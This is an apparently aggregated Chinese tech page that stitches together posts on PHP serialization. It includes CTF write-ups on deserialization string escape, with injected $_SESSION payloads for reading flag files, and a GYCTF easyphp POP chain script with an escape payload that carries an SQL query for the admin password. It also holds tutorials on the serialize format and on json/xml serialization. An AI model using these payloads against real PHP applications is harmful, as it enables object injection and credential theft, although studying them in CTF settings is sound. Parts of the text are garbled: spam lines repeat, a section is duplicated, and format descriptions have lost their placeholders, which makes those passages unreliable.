GVKun编程网logo

php 序列化键、值逃逸(php 序列化函数)

17

对于php序列化键、值逃逸感兴趣的读者,本文将提供您所需要的所有信息,我们将详细讲解php序列化函数,并且为您提供关于Atititphp序列化php的serialize序列化和json序列化、Atit

对于php 序列化键、值逃逸感兴趣的读者,本文将提供您所需要的所有信息,我们将详细讲解php 序列化函数,并且为您提供关于Atitit php序列化 php的serialize序列化和json序列化、Atitit php序列化 php的serialize序列化和json序列化 - attilaxAti、GYCTF easyphp 【反序列化配合字符逃逸】、php json与xml序列化/反序列化_php技巧的宝贵知识。

本文目录一览:

php 序列化键、值逃逸(php 序列化函数)

php 序列化键、值逃逸(php 序列化函数)

转自https://www.cnblogs.com/wangtanzhi/p/12261610.html

PHP反序列化的对象逃逸

任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞。
参考链接:
https://blog.csdn.net/a3320315/article/details/104118688/
过滤函数分为两种情况
第一种为关键词数增加

例如: where->hacker,这样词数由五个增加到6个。
第二种为关键词数减少
例如:直接过滤掉一些关键词,例如这道题目中。

过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字
那么我们有两种方法:
键逃逸和值逃逸

值逃逸:
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZdbnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

var_dump的结果为:

"a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZdbnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

键逃逸:

这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对

_SESSION[flagPHP]=;s:1:"1";s:3:"img";s:20:"ZdbnM19mMWFnLnBocA==";}

var_dump的结果为:

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZdbnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

这儿得s:7:""之所以为空,是因为我们构造得键flagPHP都是会被过滤得,所以显示为空,这样就能吃掉一部分值了,然后将剩下得值充当另一个对象逃逸出去~~

0|10x01 解题


回到题目,我们首先看源码

过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字 正常传img参数进去会被sha1加密,我们应该用别的方法控制$_SESSION中的参数。 本来挺好的序列化的字符串,按某种去掉了一些关键字,本身就不对,本身就涉及到可能破坏原有结构而无法正常反序列化的问题。这里是利用反序列化长度逃逸控制了img参数。之前有一道题目是关键字替换导致字符串长度变长,把后面的原有参数挤出去了, 本题是关键字被置空导致长度变短,后面的值的单引号闭合了前面的值的单引号,导致一些内容逃逸。。 extract后覆盖了两个没用的属性,但是后面又强制加了一个我们不可控的img属性

根据源码,我们先对f传参PHPinfo

构造payload来对
d0g3_f1ag.PHP读取。

;s:14:"PHPflagPHPflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

解释一下:
这里首先PHPflagPHPflag会被过滤为空,吃掉一部分值

$serialize_info的内容为

a:2:{s:7:"";s:48:";s:7:"xxxxxxx";s:3:"img";s:20:"ZdbnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";

刚好把后面多余的img部分截断掉

payload:

_SESSION[PHPflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZdbnM19mMWFnLnBocA==";}

读取/d0g3_fllllllag
payload:

_SESSION[PHPflag]=;s:14:"PHPflagPHPflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

参考链接:

https://www.jianshu.com/p/1f44650b0822
https://blog.csdn.net/a3320315/article/details/104118688/

 

Atitit php序列化 php的serialize序列化和json序列化

Atitit php序列化 php的serialize序列化和json序列化

atitit php序列化 phpserialize序列化json序列化

 

立即学习“PHP免费学习笔记(深入)”;

 

立即学习“PHP免费学习笔记(深入)”;

PHP 对不同类型的数据用不同的字母进行标示,Yahoo 开发网站提供的Using Serialized PHP withYahoo! Web Services 一文中给出所有的字母标示及其含义:a - arrayb - booleand - doublei - integero - common objectr - references - stringC - custom objectO - classN - nullR - pointer referenceU - unicode stringN 表示的是NULL,而bdi

 

立即学习“PHP免费学习笔记(深入)”;

作者::  ★(attilax)>>>   绰号:老哇的爪子  全名::Attilax Akbar Al Rapanui 阿提拉克斯 阿克巴 阿尔 拉帕努伊  汉字名:艾龙,  EMAIL:1466519819@qq.com

转载请注明来源: http://www.cnblogs.com/attilax/

 

立即学习“PHP免费学习笔记(深入)”;

4.1.数组的序列化数组(array)通常被序列化为:a::{...}其中表示数组元素的个数,……表示数组下标,2>……表示与下标相对应的数组元素的值。下标的类型只能是整型或者字符串型,序列化后的格式跟整型和字符串型数据序列化后的格式相同。数组元素值可以是任意类型,其序列化后的格式与其所对应的类型序列化后的格式相同。4.2.对象的序列化对象(object)通常被序列化为:O::""::{2>...}其中表示对象的类名的字符串长度。表示对象中的字段1个数。这些字段包括在对象所在类及其祖先类中用varpublicprotected private 声明的字段,但是不包括static const 声明的静态字段。也就是说只有实例(instance)字段。……表示每个字段的字段名,而……则表示与字段名所对应的字段值。字段名是字符串型,序列化后格式与字符串型数据序列化后的格式相同。字段值可以是任意类型,其序列化后的格式与其所对应的类型序列化后的格式相同。但字段名的序列化与它们声明的可见性是有关的,下面重点讨论一下关于字段名的序列化。

 

立即学习“PHP免费学习笔记(深入)”;

 

立即学习“PHP免费学习笔记(深入)”;

PHP序列化_serialize_格式详解 - 低调走过 - 博客频道 - CSDN.NET.html

以上就介绍了Atitit php序列化 php的serialize序列化和json序列化,包括了方面的内容,希望对PHP教程有兴趣的朋友有所帮助。

Atitit php序列化 php的serialize序列化和json序列化 - attilaxAti

Atitit php序列化 php的serialize序列化和json序列化 - attilaxAti

atitit php序列化 phpserialize序列化json序列化

 

 

PHP 对不同类型的数据用不同的字母进行标示,Yahoo 开发网站提供的Using Serialized PHP with
Yahoo! Web Services 一文中给出所有的字母标示及其含义:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N 表示的是NULL,而bdi

 

立即学习“PHP免费学习笔记(深入)”;

作者::  ★(attilax)>>>   绰号:老哇的爪子  全名::Attilax Akbar Al Rapanui 阿提拉克斯 阿克巴 阿尔 拉帕努伊  汉字名:艾龙,  EMAIL:1466519819@qq.com

转载请注明来源: http://www.cnblogs.com/attilax/

 

立即学习“PHP免费学习笔记(深入)”;

4.1.数组的序列化
数组(array)通常被序列化为:
a::{...}
其中表示数组元素的个数,……表示数组下标,
2>……表示与下标相对应的数组元素的值。
下标的类型只能是整型或者字符串型,序列化后的格式跟整型和字符串型数据序列化后的格式相同。
数组元素值可以是任意类型,其序列化后的格式与其所对应的类型序列化后的格式相同。
4.2.对象的序列化
对象(object)通常被序列化为:
O::""::{
2>...}
其中表示对象的类名的字符串长度。表示对象中的字段1个数。这些字段
包括在对象所在类及其祖先类中用varpublicprotected private 声明的字段,但是不包括static
const 声明的静态字段。也就是说只有实例(instance)字段。
……表示每个字段的字段名,而
……则表示与字段名所对应的字段值。
字段名是字符串型,序列化后格式与字符串型数据序列化后的格式相同。
字段值可以是任意类型,其序列化后的格式与其所对应的类型序列化后的格式相同。
但字段名的序列化与它们声明的可见性是有关的,下面重点讨论一下关于字段名的序列化。

 

立即学习“PHP免费学习笔记(深入)”;

 

立即学习“PHP免费学习笔记(深入)”;

PHP序列化_serialize_格式详解 - 低调走过 - 博客频道 - CSDN.NET.html

 

GYCTF easyphp 【反序列化配合字符逃逸】

GYCTF easyphp 【反序列化配合字符逃逸】

基础知识可以参考我之前写的那个 0CTF 2016 piapiapia  那个题只是简单记录了一下,学习了一下php反序列化的思路

https://www.cnblogs.com/tiaopidejun/p/12345080.html

这道题自己搞一下:

主要是构造pop链,

大概的思路,如果找到序列化和反序列化的点,跟进调用的方法,在源码中寻找可以被我们利用getshell的点。

开始:

先是发现

 

 跟进getNewInfo

 

 发现update调用,继续跟进UpdateHelper

 

 发现会直接调用魔法函数__destruct,同时这里echo字符串,会触发__ toString

找一下有没有__toString 

 

 但是这个没有什么利用点

但我们发现有个call可以被我们利用

 

总结pop链思路:
Up类触发__destruct(),然后会输出字符串触发User类的__toString(),
这里使User类调用Info里的nickname 因为Info里面没有__destruct从而触发__call将sql语句带入查询

 

构造pop链:

如何构造pop链----学习链接:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

 

<?php
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
}
class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
}
class UpdateHelper
{
    public $id;
    public $newinfo;
    public $sql;
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name=''admin'';
    public $password;
    public $mysqli;
    public $token;
}
$a=new dbCtrl();
$b=new Info('''',''1'');
$c=new User();
$d=new UpdateHelper();
$a->token=''admin'';
$b->CtrlCase=$a;
$c->nickname=$b;
$c->age="select password,id from user where username=?";
$d->sql=$c;
echo serialize($d);
?>

最后根据safe那个函数的规格,再构造出逃逸字符的payload

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunion ";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}

原本构造出的字符数是453,所以可以选择90个 ''  和3个union 达到让payload逃逸出来.....

这个题学到不少东西,尤其是pop链构造....,感觉主要还是要理顺整个利用的过程.

php json与xml序列化/反序列化_php技巧

php json与xml序列化/反序列化_php技巧

在web开发中对象的序列化与反序列化经常使用,比较主流的有json格式与xml格式的序列化与反序列化,今天想写个jsop的小demo,结果发现不会使用php序列化,查了一下资料,做个笔记简单数组json格式序列化/反序列化

php提供了json_encode和json_decode函数对对象进行json格式序列化/反序列化操作

$data=array(''Name''=&gt;''Byron'',''Age''=&gt;24,''Sex''=&gt;''Male'',''Friends''=&gt;array(''Casper'',''Frank'',''Vincent'')); $json=json_encode($data);//将数组序列化为json字符串 echo $json.''<br>''; $array_json= json_decode($json);//将json字符串反序列化为数组 while(list($key,$value)=each($array_json)){ if(!is_array($value)){ echo "$key: $value<br>"; }else{ echo "$key: "; foreach ($value as $current) { echo "$current  "; } echo ''<br>''; } }
登录后复制

image

简单数组xml格式序列化/反序列化

php提供wddx_serialize_value和wddx_deserialize函数对对象进行xml格式序列化/反序列化操作

$data=array(''Name''=&gt;''Byron'',''Age''=&gt;24,''Sex''=&gt;''Male'',''Friends''=&gt;array(''Casper'',''Frank'',''Vincent'')); $xml=wddx_serialize_value($data);//把数组序列化为xml字符串 echo $xml.''<br>''; $array_xml=wddx_deserialize($xml);//把xml字符串反序列化为数组 while(list($key,$value)=each($array_xml)){ if(!is_array($value)){ echo "$key: $value<br>"; }else{ echo "$key: "; foreach ($value as $current) { echo "$current  "; } echo ''<br>''; } }
登录后复制

image

 

虽然由于HTML转码原因,输出格式很奇怪,但其实序列化的字符串是这样的

image

和json格式相比较的话,多出来不少字段
复杂对象json格式序列化/反序列化很多时候我们在进行操作的时候,处理的对象并不是简单数组,而是我们自定义的一个对象的数组,json_encode和json_decode也是可以胜任的。自定义一个和上面数组内容类似的对象

class Me { public $name; public $age; public $friends; function __construct($name,$age,$friends) { $this-&gt;name=$name; $this-&gt;age=$age; $this-&gt;friends=$friends; } }
登录后复制

 

$me1=new Me(''Byron'',24,array(''Casper'',''Frank'',''Vincent'')); $me2=new Me(''Casper'',25,array(''Byron'',''Frank'',''Vincent'')); $me3=new Me(''Frank'',26,array(''Casper'',''Byron'',''Vincent'')); //创建一个复杂的数组,子元素是自定义类,自定义类中包含数组字段 $array_me=array($me1,$me2,$me3); $json=json_encode($array_me);//序列化对象数组为json字符串 echo $json.''<br>''; $a=json_decode($json);//将json字符串反序列化为对象数组 foreach ($a as $aa) { echo $aa-&gt;name.''<br>''; }
登录后复制

 

image

 

可以看到序列化出来的字符串格式非常符合预期。复杂对象xml格式序列化/反序列化同样wddx_serialize_value和wddx_deserialize函数也能胜任复杂对象进行xml格式序列化/反序列化操作,使用刚才的对象做例子

$me1=new Me(''Byron'',24,array(''Casper'',''Frank'',''Vincent'')); $me2=new Me(''Casper'',25,array(''Byron'',''Frank'',''Vincent'')); $me3=new Me(''Frank'',26,array(''Casper'',''Byron'',''Vincent'')); //创建一个复杂的数组,子元素是自定义类,自定义类中包含数组字段 $array_me=array($me1,$me2,$me3); $xml=wddx_serialize_value($array_me);//序列化对象数组为xml字符串 echo $xml.''<br>''; $a=wddx_deserialize($xml);//将xml字符串反序列化为对象数组 foreach ($a as $aa) { echo $aa-&gt;name.''<br>''; }
登录后复制

image

生成的xml字符串结构是这样的

image
最后初学php,文章多有谬误,希望大家批评指正。

今天关于php 序列化键、值逃逸php 序列化函数的讲解已经结束,谢谢您的阅读,如果想了解更多关于Atitit php序列化 php的serialize序列化和json序列化、Atitit php序列化 php的serialize序列化和json序列化 - attilaxAti、GYCTF easyphp 【反序列化配合字符逃逸】、php json与xml序列化/反序列化_php技巧的相关知识,请在本站搜索。

本文标签: